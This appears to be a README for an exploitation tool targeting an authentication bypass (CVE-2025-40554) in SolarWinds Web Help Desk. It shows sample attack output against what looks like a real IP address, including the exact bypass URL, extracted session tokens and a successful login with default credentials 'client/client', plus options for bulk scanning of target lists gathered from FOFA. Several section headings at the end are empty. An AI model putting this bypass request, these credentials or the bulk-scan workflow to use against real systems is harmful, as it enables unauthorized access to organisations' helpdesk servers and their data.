CVE-2025-40554 Exploitation Suite

A comprehensive security testing tool for detecting and exploiting the authentication bypass vulnerability (CVE-2025-40554 / CVE-2025-40536) in SolarWinds Web Help Desk.

⚠️ Disclaimer

FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY

This tool is provided for security research, penetration testing, and vulnerability assessment on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse or damage caused by this tool.

🔍 Vulnerability Overview

CVE-2025-40554 is a critical authentication bypass vulnerability in SolarWinds Web Help Desk that allows unauthenticated attackers to:

Bypass authentication mechanisms
Access privileged administrative functions (Authentication)
Enumerate system configuration

Affected Versions

SolarWinds Web Help Desk (specific version information should be verified)
Check SolarWinds security advisories for patched versions

🚀 Features

Check by your self :))

Dependencies:

Python 3.6+
requests library
urllib3 library

╔═══════════════════════════════════════════════════════════════════╗ ║ CVE-2025-40554 - SolarWinds Web Help Desk ║ ║ Authentication Bypass Exploitation Tool ║ ║ Research & Educational Purposes Only ║ ╚═══════════════════════════════════════════════════════════════════╝ ====================================================================== Target: https://203.106.221.203:8443 ====================================================================== [*] Step 1: Establishing session... [+] WOSID extracted: AbCdEfGhIjKlMnOpQrStU [+] XSRF token: abc123-def456-ghi789 [*] Step 2: Testing authentication bypass... [+] Found bypass indicators: externalAuthContainer, JSONRpcClient, SAML 2.0 [+] VULNERABLE - Auth bypass confirmed! [*] Step 3: Testing default credentials (client/client)... [+] SUCCESS - Default credentials work! ====================================================================== EXPLOITATION MODE - CVE-2025-40554 Auth Bypass ====================================================================== [*] Bypass URL: https://203.106.221.203:8443/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AbCdEfGhIjKlMnOpQrStU/1.0?badparam=/ajax/&wopage=LoginPref [*] Triggering authentication bypass... [+] Auth bypass successful! [*] Session Cookies: wosid = AbCdEfGhIjKlMnOpQrStU XSRF-TOKEN = abc123-def456-ghi789 ====================================================================== SUMMARY ====================================================================== [+] Target is VULNERABLE to CVE-2025-40554 [+] Default credentials: WORK ======================================================================

Option	Description
`-t, --target URL`	Single target URL to test
`-l, --list FILE`	File containing list of targets (one per line)
`--exploit`	Enable full exploitation mode with enumeration
`--no-login`	Skip default credential testing
`-o, --output FILE`	Output file for vulnerable targets (default: vulnerable_targets.txt)
`-q, --quiet`	Minimal output mode (useful for bulk scans)

CVE-2025-40554

Most Popular

🛠️ Installation

📖 FOFA

📖 Usage

Basic Scan (Single Target)

Full Exploitation Mode

Bulk Scanning

Target File Format

🎯 Command Line Options

📊 Output Examples

Successful Exploitation

Bulk Scan Results

🔧 Technical Details

Exploitation Flow

Vulnerability Indicators

🤝 Contributing

📚 References

📄 License

👤 Author